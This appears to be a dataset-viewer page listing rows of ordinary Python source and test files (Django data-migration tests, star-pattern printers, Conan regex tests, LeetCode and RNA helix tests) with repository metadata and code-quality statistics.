source_path = os.path.join(MIGRATIONS_DIR, 'tag.json')
with open(source_path, 'r') as source_file:
source = source_file.read()
migration = ModelMigration(Tag)
result = migration.export_data(None, JsonSerializer)
self.assertEqual(source.splitlines(), result.splitlines())
source_path = os.path.join(MIGRATIONS_DIR, 'post.json')
with open(source_path, 'r') as source_file:
source = source_file.read()
migration = ModelMigration(Post)
result = migration.export_data(None, JsonSerializer)
self.assertEqual(source.splitlines(), result.splitlines())
source_path = os.path.join(MIGRATIONS_DIR, 'post_tags.json')
with open(source_path, 'r') as source_file:
source = source_file.read()
migration = ModelMigration(PostTags)
result = migration.export_data(None, JsonSerializer)
self.assertEqual(source.splitlines(), result.splitlines())
def test_labels(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
MultipleImportFacade.from_file_path(
source_path,
models=[
'datamigrations_facades_tests.Author',
'datamigrations_facades_tests.Category',
],
plan='direct',
use_natural_keys=True,
)
self.assertEqual(3, Author.objects.count())
self.assertEqual(2, Category.objects.count())
self.assertEqual(0, Post.objects.count())
def test_serializer(self):
source_path = os.path.join(MIGRATIONS_DIR, 'backup')
with self.assertRaises(Exception):
MultipleImportFacade.from_file_path(
source_path,
serializer='csv',
plan='direct',
use_natural_keys=True,
)
class SingleExportTest(TempDirMixin, TestCase):
available_apps = ['datamigrations_facades']
maxDiff = None
tempDirPrefix = 'test_datamigrations_facades_'
def test_no_file(self):
with self.assertRaises(TypeError):
SingleExportFacade.to_file_path()
def test_no_label(self):
result_path = os.path.join(self.temp_dir, 'alphabet.csv')
with self.assertRaisesRegexp(AttributeError, 'You must give a model.'):
SingleExportFacade.to_file_path(result_path)
def test_invalid_label(self):
result_path = os.path.join(self.temp_dir, 'alphabet.csv')
with self.assertRaises(ValueError):
SingleExportFacade.to_file_path(result_path, model='appname_ModelName')
def test_app_not_found(self):
result_path = os.path.join(self.temp_dir, 'alphabet.csv')
with self.assertRaisesRegexp(LookupError, "No installed app with label 'appname'."):
SingleExportFacade.to_file_path(result_path, model='appname.ModelName')
def test_model_not_found(self):
result_path = os.path.join(self.temp_dir, 'alphabet.csv')
with self.assertRaisesRegexp(LookupError, "App 'datamigrations_facades_tests' doesn't have a '[Mm]odel[Nn]ame' model."):
SingleExportFacade.to_file_path(result_path, model='datamigrations_facades_tests.ModelName')
def test_serializer_not_found(self):
result_path = os.path.join(self.temp_dir, 'alphabet.csv')
with self.assertRaisesRegexp(LookupError, "Serializer 'serializername' could not be found."):
SingleExportFacade.to_file_path(result_path, model='datamigrations_facades_tests.Alphabet', serializer='serializername')
def test_file(self):
migration = ModelMigration(Alphabet)
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
result_path = os.path.join(self.temp_dir, 'alphabet.csv')
with open(source_path, 'r') as source_file:
source = source_file.read()
migration.import_data(source, CsvSerializer, DirectPlan)
SingleExportFacade.to_file_path(
result_path,
model='datamigrations_facades_tests.Alphabet',
serializer='csv',
)
with open(result_path, 'r') as result_file:
result = result_file.read()
self.assertEqual(source.splitlines(), result.splitlines())
class SingleImportTest(TempDirMixin, TestCase):
available_apps = ['datamigrations_facades']
maxDiff = None
tempDirPrefix = 'test_datamigrations_facades_'
def test_no_file(self):
with self.assertRaises(TypeError):
SingleImportFacade.from_file_path()
def test_file_not_found(self):
with self.assertRaisesRegexp(AttributeError, "File 'filename' does not exit."):
SingleImportFacade.from_file_path('filename')
def test_no_label(self):
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with self.assertRaisesRegexp(AttributeError, 'You must give a model.'):
SingleImportFacade.from_file_path(source_path)
def test_invalid_label(self):
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with self.assertRaises(ValueError):
SingleImportFacade.from_file_path(source_path, model='appname_ModelName')
def test_app_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with self.assertRaisesRegexp(LookupError, "No installed app with label 'appname'."):
SingleImportFacade.from_file_path(source_path, model='appname.ModelName')
def test_model_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with self.assertRaisesRegexp(LookupError, "App 'datamigrations_facades_tests' doesn't have a '[Mm]odel[Nn]ame' model."):
SingleImportFacade.from_file_path(source_path, model='datamigrations_facades_tests.ModelName')
def test_serializer_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with self.assertRaisesRegexp(LookupError, "Serializer 'serializername' could not be found."):
SingleImportFacade.from_file_path(source_path, model='datamigrations_facades_tests.Alphabet', serializer='serializername')
def test_importation_plan_not_found(self):
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with self.assertRaisesRegexp(LookupError, "Importation plan 'planname' could not be found."):
SingleImportFacade.from_file_path(source_path, model='datamigrations_facades_tests.Alphabet', plan='planname')
def test_file(self):
migration = ModelMigration(Alphabet)
source_path = os.path.join(MIGRATIONS_DIR, 'alphabet.csv')
with open(source_path, 'r') as source_file:
source = source_file.read()
SingleImportFacade.from_file_path(
source_path,
model='datamigrations_facades_tests.Alphabet',
serializer='csv',
)
result = migration.export_data(serializer=CsvSerializer)
self.assertEqual(source.splitlines(), result.splitlines())
| 42.74221
| 139
| 0.696448
| 1,695
| 15,088
| 5.953392
| 0.077286
| 0.058468
| 0.041621
| 0.056882
| 0.866416
| 0.855614
| 0.833911
| 0.824398
| 0.819939
| 0.819542
| 0
| 0.000415
| 0.20228
| 15,088
| 352
| 140
| 42.863636
| 0.837986
| 0.001326
| 0
| 0.716912
| 0
| 0
| 0.164686
| 0.063259
| 0
| 0
| 0
| 0
| 0.150735
| 1
| 0.125
| false
| 0
| 0.172794
| 0
| 0.356618
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
033c0c2d3cfc236aa4d9d7e0dbbe7d5d6b84aa77
| 1,133
|
py
|
Python
|
Packages/Patterns_Package/symbols/filled_symbols/Triangle_Piece_Taken_out_from_a_Rectangle.py
|
saribalarakeshreddy/Python-3.9.0
|
25b4c74feb2a27b91e69aa82becde23e356e82c4
|
[
"MIT"
] | null | null | null |
Packages/Patterns_Package/symbols/filled_symbols/Triangle_Piece_Taken_out_from_a_Rectangle.py
|
saribalarakeshreddy/Python-3.9.0
|
25b4c74feb2a27b91e69aa82becde23e356e82c4
|
[
"MIT"
] | null | null | null |
Packages/Patterns_Package/symbols/filled_symbols/Triangle_Piece_Taken_out_from_a_Rectangle.py
|
saribalarakeshreddy/Python-3.9.0
|
25b4c74feb2a27b91e69aa82becde23e356e82c4
|
[
"MIT"
] | null | null | null |
def for_Triangle_Piece_Taken_out_from_a_Rectangle():
""" pattern for :Triangle_Piece_Taken_out_from_a_Rectangle using for loop"""
for i in range(5):
for j in range(7):
if i+j<=3 or j-i>=3:
print('*',end=' ')
else:
print(' ',end=' ')
print()
for i in range(4):
for j in range(7):
if i+j>=3 and j-i<=3:
print('*',end=' ')
else:
print(' ', end=' ')
print()
def while_Triangle_Piece_Taken_out_from_a_Rectangle():
""" pattern for :Triangle_Piece_Taken_out_from_a_Rectangle using while loop"""
i=0
while i<5:
j=0
while j<7:
if i+j<=3 or j-i>=3:
print('*',end=' ')
else:
print(' ',end=' ')
j+=1
i+=1
print()
i=0
while i<4:
j=0
while j<7:
if i+j>=3 and j-i<=3:
print('*',end=' ')
else:
print(' ', end=' ')
j+=1
i+=1
print()
| 28.325
| 83
| 0.406002
| 146
| 1,133
| 2.972603
| 0.19863
| 0.147465
| 0.165899
| 0.193548
| 0.841014
| 0.841014
| 0.841014
| 0.841014
| 0.834101
| 0.723502
| 0
| 0.03871
| 0.45278
| 1,133
| 40
| 84
| 28.325
| 0.66129
| 0.124448
| 0
| 0.842105
| 0
| 0
| 0.017003
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.052632
| false
| 0
| 0
| 0
| 0.052632
| 0.315789
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
03491788b396bd51bdde9b977e7782ccf0e3395b
| 2,327
|
py
|
Python
|
tests/check_dependencies_test.py
|
madebr/conan-repo-actions
|
a0e0f59e45314ab0b36150406e574f60421c82da
|
[
"MIT"
] | null | null | null |
tests/check_dependencies_test.py
|
madebr/conan-repo-actions
|
a0e0f59e45314ab0b36150406e574f60421c82da
|
[
"MIT"
] | null | null | null |
tests/check_dependencies_test.py
|
madebr/conan-repo-actions
|
a0e0f59e45314ab0b36150406e574f60421c82da
|
[
"MIT"
] | 1
|
2019-07-05T10:38:39.000Z
|
2019-07-05T10:38:39.000Z
|
# -*- coding: utf-8 -*-
import unittest
from conan_repo_actions.check_dependencies import CONAN_REF_REGEX_IN_SOURCE
class RefTests(unittest.TestCase):
def test_regex_basic(self):
match = CONAN_REF_REGEX_IN_SOURCE.match('"boost/1.70@myuser/mychannel"')
self.assertIsNotNone(match)
self.assertEqual(match['ref'], 'boost/1.70@myuser/mychannel')
self.assertEqual(match['name'], 'boost')
self.assertEqual(match['version'], '1.70')
self.assertEqual(match['user'], 'myuser')
self.assertEqual(match['channel'], 'mychannel')
def test_regex_dot(self):
match = CONAN_REF_REGEX_IN_SOURCE.match('"boost.asio/1.70@myuser/mychannel"')
self.assertIsNotNone(match)
self.assertEqual(match['ref'], 'boost.asio/1.70@myuser/mychannel')
self.assertEqual(match['name'], 'boost.asio')
self.assertEqual(match['version'], '1.70')
self.assertEqual(match['user'], 'myuser')
self.assertEqual(match['channel'], 'mychannel')
def test_regex_underscore(self):
match = CONAN_REF_REGEX_IN_SOURCE.match('"boost_asio/1.70@myuser/mychannel"')
self.assertIsNotNone(match)
self.assertEqual(match['ref'], 'boost_asio/1.70@myuser/mychannel')
self.assertEqual(match['name'], 'boost_asio')
self.assertEqual(match['version'], '1.70')
self.assertEqual(match['user'], 'myuser')
self.assertEqual(match['channel'], 'mychannel')
def test_regex_hyphen(self):
match = CONAN_REF_REGEX_IN_SOURCE.match('"boost-asio/1.70@myuser/mychannel"')
self.assertIsNotNone(match)
self.assertEqual(match['ref'], 'boost-asio/1.70@myuser/mychannel')
self.assertEqual(match['name'], 'boost-asio')
self.assertEqual(match['version'], '1.70')
self.assertEqual(match['user'], 'myuser')
self.assertEqual(match['channel'], 'mychannel')
def test_regex_curly(self):
match = CONAN_REF_REGEX_IN_SOURCE.match('"boost/{}@myuser/mychannel"')
self.assertIsNotNone(match)
self.assertEqual(match['ref'], 'boost/{}@myuser/mychannel')
self.assertEqual(match['name'], 'boost')
self.assertEqual(match['version'], '{}')
self.assertEqual(match['user'], 'myuser')
self.assertEqual(match['channel'], 'mychannel')
| 43.90566
| 85
| 0.660937
| 274
| 2,327
| 5.467153
| 0.142336
| 0.250334
| 0.333778
| 0.096128
| 0.908545
| 0.894526
| 0.894526
| 0.894526
| 0.894526
| 0.839119
| 0
| 0.019211
| 0.172325
| 2,327
| 52
| 86
| 44.75
| 0.758567
| 0.009025
| 0
| 0.488372
| 0
| 0
| 0.244792
| 0.132813
| 0
| 0
| 0
| 0
| 0.697674
| 1
| 0.116279
| false
| 0
| 0.046512
| 0
| 0.186047
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
03497880755d231080be15dcff97f86e3d33d1d9
| 1,560
|
py
|
Python
|
tests/test_1864.py
|
sungho-joo/leetcode2github
|
ce7730ef40f6051df23681dd3c0e1e657abba620
|
[
"MIT"
] | null | null | null |
tests/test_1864.py
|
sungho-joo/leetcode2github
|
ce7730ef40f6051df23681dd3c0e1e657abba620
|
[
"MIT"
] | null | null | null |
tests/test_1864.py
|
sungho-joo/leetcode2github
|
ce7730ef40f6051df23681dd3c0e1e657abba620
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
import pytest
"""
Test 1864. Minimum Number of Swaps to Make the Binary String Alternating
"""
@pytest.fixture(scope="session")
def init_variables_1864():
from src.leetcode_1864_minimum_number_of_swaps_to_make_the_binary_string_alternating import (
Solution,
)
solution = Solution()
def _init_variables_1864():
return solution
yield _init_variables_1864
class TestClass1864:
def test_solution_0(self, init_variables_1864):
assert init_variables_1864().minSwaps("111000") == 1
def test_solution_1(self, init_variables_1864):
assert init_variables_1864().minSwaps("010") == 0
def test_solution_2(self, init_variables_1864):
assert init_variables_1864().minSwaps("1110") == -1
#!/usr/bin/env python
import pytest
"""
Test 1864. Minimum Number of Swaps to Make the Binary String Alternating
"""
@pytest.fixture(scope="session")
def init_variables_1864():
from src.leetcode_1864_minimum_number_of_swaps_to_make_the_binary_string_alternating import (
Solution,
)
solution = Solution()
def _init_variables_1864():
return solution
yield _init_variables_1864
class TestClass1864:
def test_solution_0(self, init_variables_1864):
assert init_variables_1864().minSwaps("111000") == 1
def test_solution_1(self, init_variables_1864):
assert init_variables_1864().minSwaps("010") == 0
def test_solution_2(self, init_variables_1864):
assert init_variables_1864().minSwaps("1110") == -1
| 23.283582
| 97
| 0.723077
| 202
| 1,560
| 5.217822
| 0.20297
| 0.222011
| 0.290323
| 0.119545
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0.105181
| 0.183333
| 1,560
| 66
| 98
| 23.636364
| 0.722135
| 0.025641
| 0
| 0.941176
| 0
| 0
| 0.029455
| 0
| 0
| 0
| 0
| 0
| 0.176471
| 1
| 0.294118
| false
| 0
| 0.117647
| 0.058824
| 0.529412
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 11
|
302cb19b73d0d92cd6c0d8abc1fb54f1be90234c
| 4,332
|
py
|
Python
|
test/test_helix_getting_and_removing.py
|
rkretsch/arnie
|
28251b4e96fe313475994dbf8780710776f4bf33
|
[
"MIT"
] | null | null | null |
test/test_helix_getting_and_removing.py
|
rkretsch/arnie
|
28251b4e96fe313475994dbf8780710776f4bf33
|
[
"MIT"
] | null | null | null |
test/test_helix_getting_and_removing.py
|
rkretsch/arnie
|
28251b4e96fe313475994dbf8780710776f4bf33
|
[
"MIT"
] | null | null | null |
from arnie.utils import *
s = "(((....)).)...(..)....(((..(((....))))))"
s_0_2 = ".((....)).............(((..(((....))))))"
s_0_3 = "......................(((..(((....))))))"
s_1_3 = "(((....)).)...........(((..(((....))))))"
s_2_3 = "(((....)).)...........(((..(((....))))))"
s_0_4 = "........................................"
s_1_4 = "........................................"
s_2_4 = "......................(((..(((....))))))"
s_1_2 = "(((....)).)...........(((..(((....))))))"
s_all_helices = [[[0, 10]],
[[1, 8], [2, 7]],
[[14, 17]],
[[22, 39], [23, 38], [24, 37]],
[[27, 36], [28, 35], [29, 34]]]
s_1_helices = [[[0, 10], [1, 8], [2, 7]],
[[14, 17]],
[[22, 39], [23, 38], [24, 37]],
[[27, 36], [28, 35], [29, 34]]]
s_2_helices = [[[0, 10], [1, 8], [2, 7]],
[[14, 17]],
[[22, 39], [23, 38], [24, 37], [27, 36], [28, 35], [29, 34]]]
pk = "(((.((([..[[..))))((...)){...]]]...)})"
pk_0_2 = "....(((...[[..))).((...))....]]......."
pk_0_3 = "....(((.......)))....................."
pk_1_3 = "..(.(((.......))))...................."
pk_2_3 = "..(.((([..[[..))))...........]]]......"
pk_0_4 = "......................................"
pk_1_4 = "..(.(((.......))))...................."
pk_2_4 = "..(.(((.......))))...................."
pk_1_2 = "(((.(((...[[..))))((...))....]]....).)"
pk_all_helices = [[[0, 37]],
[[1, 35]],
[[2, 17]],
[[4, 16], [5, 15], [6, 14]],
[[7, 31]],
[[10, 30], [11, 29]],
[[18, 24], [19, 23]],
[[25, 36]]]
pk_1_helices = [[[0, 37], [1, 35]],
[[2, 17], [4, 16], [5, 15], [6, 14]],
[[7, 31]],
[[10, 30], [11, 29]],
[[18, 24], [19, 23]],
[[25, 36]]]
pk_2_helices = [[[0, 37], [1, 35]],
[[2, 17], [4, 16], [5, 15], [6, 14]],
[[7, 31], [10, 30], [11, 29]],
[[18, 24], [19, 23]],
[[25, 36]]]
def test_getting_helix():
assert(get_helices(s, allowed_buldge_len=0) == s_all_helices)
assert(get_helices(pk, allowed_buldge_len=0) == pk_all_helices)
assert(get_helices(s, allowed_buldge_len=1) == s_1_helices)
assert(get_helices(pk, allowed_buldge_len=1) == pk_1_helices)
assert(get_helices(s, allowed_buldge_len=2) == s_2_helices)
assert(get_helices(pk, allowed_buldge_len=2) == pk_2_helices)
def test_removing_helix():
assert(post_process_struct(s, allowed_buldge_len=0, min_len_helix=1) == s)
# note PKs may swap around their bracket types so fairest to compare bp_list always!
assert(convert_dotbracket_to_bp_list(post_process_struct(pk, allowed_buldge_len=0, min_len_helix=1), len(pk)) == convert_dotbracket_to_bp_list(pk, len(pk)))
assert(post_process_struct(s, allowed_buldge_len=0, min_len_helix=2) == s_0_2)
assert(post_process_struct(pk, allowed_buldge_len=0, min_len_helix=2) == pk_0_2)
assert(post_process_struct(s, allowed_buldge_len=0, min_len_helix=3) == s_0_3)
assert(post_process_struct(pk, allowed_buldge_len=0, min_len_helix=3) == pk_0_3)
assert(post_process_struct(s, allowed_buldge_len=1, min_len_helix=3) == s_1_3)
assert(post_process_struct(pk, allowed_buldge_len=1, min_len_helix=3) == pk_1_3)
assert(post_process_struct(s, allowed_buldge_len=2, min_len_helix=3) == s_2_3)
assert(post_process_struct(pk, allowed_buldge_len=2, min_len_helix=3) == pk_2_3)
assert(post_process_struct(s, allowed_buldge_len=0, min_len_helix=4) == s_0_4)
assert(post_process_struct(pk, allowed_buldge_len=0, min_len_helix=4) == pk_0_4)
assert(post_process_struct(s, allowed_buldge_len=1, min_len_helix=4) == s_1_4)
assert(post_process_struct(pk, allowed_buldge_len=1, min_len_helix=4) == pk_1_4)
assert(post_process_struct(s, allowed_buldge_len=2, min_len_helix=4) == s_2_4)
assert(post_process_struct(pk, allowed_buldge_len=2, min_len_helix=4) == pk_2_4)
assert(post_process_struct(pk, allowed_buldge_len=1, min_len_helix=2) == pk_1_2)
assert(post_process_struct(s, allowed_buldge_len=1, min_len_helix=2) == s_1_2)
if __name__ == '__main__':
test_getting_helix()
test_removing_helix()
| 47.086957
| 160
| 0.48615
| 600
| 4,332
| 3.111667
| 0.123333
| 0.167113
| 0.205678
| 0.209427
| 0.849491
| 0.802357
| 0.795394
| 0.777718
| 0.659347
| 0.653455
| 0
| 0.09893
| 0.201985
| 4,332
| 91
| 161
| 47.604396
| 0.441134
| 0.018929
| 0
| 0.240506
| 0
| 0
| 0.167137
| 0.165254
| 0
| 0
| 0
| 0
| 0.303797
| 1
| 0.025316
| false
| 0
| 0.012658
| 0
| 0.037975
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
3067ddc4de58cbff719f544c8e8255b0f935cf42
| 121
|
py
|
Python
|
cflearn/models/cv/decoder/__init__.py
|
carefree0910/carefree-learn
|
2043812afbe9c56f01ec1639961736313ee062ba
|
[
"MIT"
] | 400
|
2020-07-05T18:55:49.000Z
|
2022-02-21T02:33:08.000Z
|
cflearn/models/cv/decoder/__init__.py
|
carefree0910/carefree-learn
|
2043812afbe9c56f01ec1639961736313ee062ba
|
[
"MIT"
] | 82
|
2020-08-01T13:29:38.000Z
|
2021-10-09T07:13:44.000Z
|
cflearn/models/cv/decoder/__init__.py
|
carefree0910/carefree-learn
|
2043812afbe9c56f01ec1639961736313ee062ba
|
[
"MIT"
] | 34
|
2020-07-05T21:15:34.000Z
|
2021-12-20T08:45:17.000Z
|
from .vqgan import *
from .vanilla import *
from .protocol import *
from .style_gan import *
from .style_gan_v2 import *
| 20.166667
| 27
| 0.752066
| 18
| 121
| 4.888889
| 0.444444
| 0.454545
| 0.340909
| 0.409091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009901
| 0.165289
| 121
| 5
| 28
| 24.2
| 0.861386
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
06382e0227734dd578a451b0fc74ea5ab952e228
| 160
|
py
|
Python
|
tests/__init__.py
|
tclh123/aio-openapi
|
7c63eb628b7735501508aea6c83e458715fb070b
|
[
"BSD-3-Clause"
] | 19
|
2019-03-04T22:50:38.000Z
|
2022-03-02T09:28:17.000Z
|
tests/__init__.py
|
tclh123/aio-openapi
|
7c63eb628b7735501508aea6c83e458715fb070b
|
[
"BSD-3-Clause"
] | 116
|
2018-05-17T21:55:02.000Z
|
2019-02-14T08:35:31.000Z
|
tests/__init__.py
|
tclh123/aio-openapi
|
7c63eb628b7735501508aea6c83e458715fb070b
|
[
"BSD-3-Clause"
] | 3
|
2020-05-20T17:43:08.000Z
|
2021-10-06T10:47:41.000Z
|
import os
import dotenv
dotenv.load_dotenv()
dotenv.load_dotenv("tests/test.env")
if not os.environ.get("PYTHON_ENV"):
os.environ["PYTHON_ENV"] = "test"
| 16
| 37
| 0.725
| 25
| 160
| 4.48
| 0.48
| 0.214286
| 0.285714
| 0.392857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11875
| 160
| 9
| 38
| 17.777778
| 0.794326
| 0
| 0
| 0
| 0
| 0
| 0.2375
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
069f38a03fba96a36bc54402bf582288927087c0
| 284
|
py
|
Python
|
queries/strategies/__init__.py
|
LexiconCode/PythonVoiceCodingPlugin
|
2de7a6226a553313d922060d3be66dc0e94ea417
|
[
"BSD-2-Clause"
] | null | null | null |
queries/strategies/__init__.py
|
LexiconCode/PythonVoiceCodingPlugin
|
2de7a6226a553313d922060d3be66dc0e94ea417
|
[
"BSD-2-Clause"
] | null | null | null |
queries/strategies/__init__.py
|
LexiconCode/PythonVoiceCodingPlugin
|
2de7a6226a553313d922060d3be66dc0e94ea417
|
[
"BSD-2-Clause"
] | null | null | null |
from PythonVoiceCodingPlugin.queries.strategies.primitives import *
from PythonVoiceCodingPlugin.queries.strategies.adjective_strategy import *
from PythonVoiceCodingPlugin.queries.strategies.abstract_vertical import *
from PythonVoiceCodingPlugin.queries.strategies.obtain import *
| 47.333333
| 75
| 0.883803
| 26
| 284
| 9.576923
| 0.423077
| 0.433735
| 0.546185
| 0.706827
| 0.60241
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.059859
| 284
| 5
| 76
| 56.8
| 0.932584
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.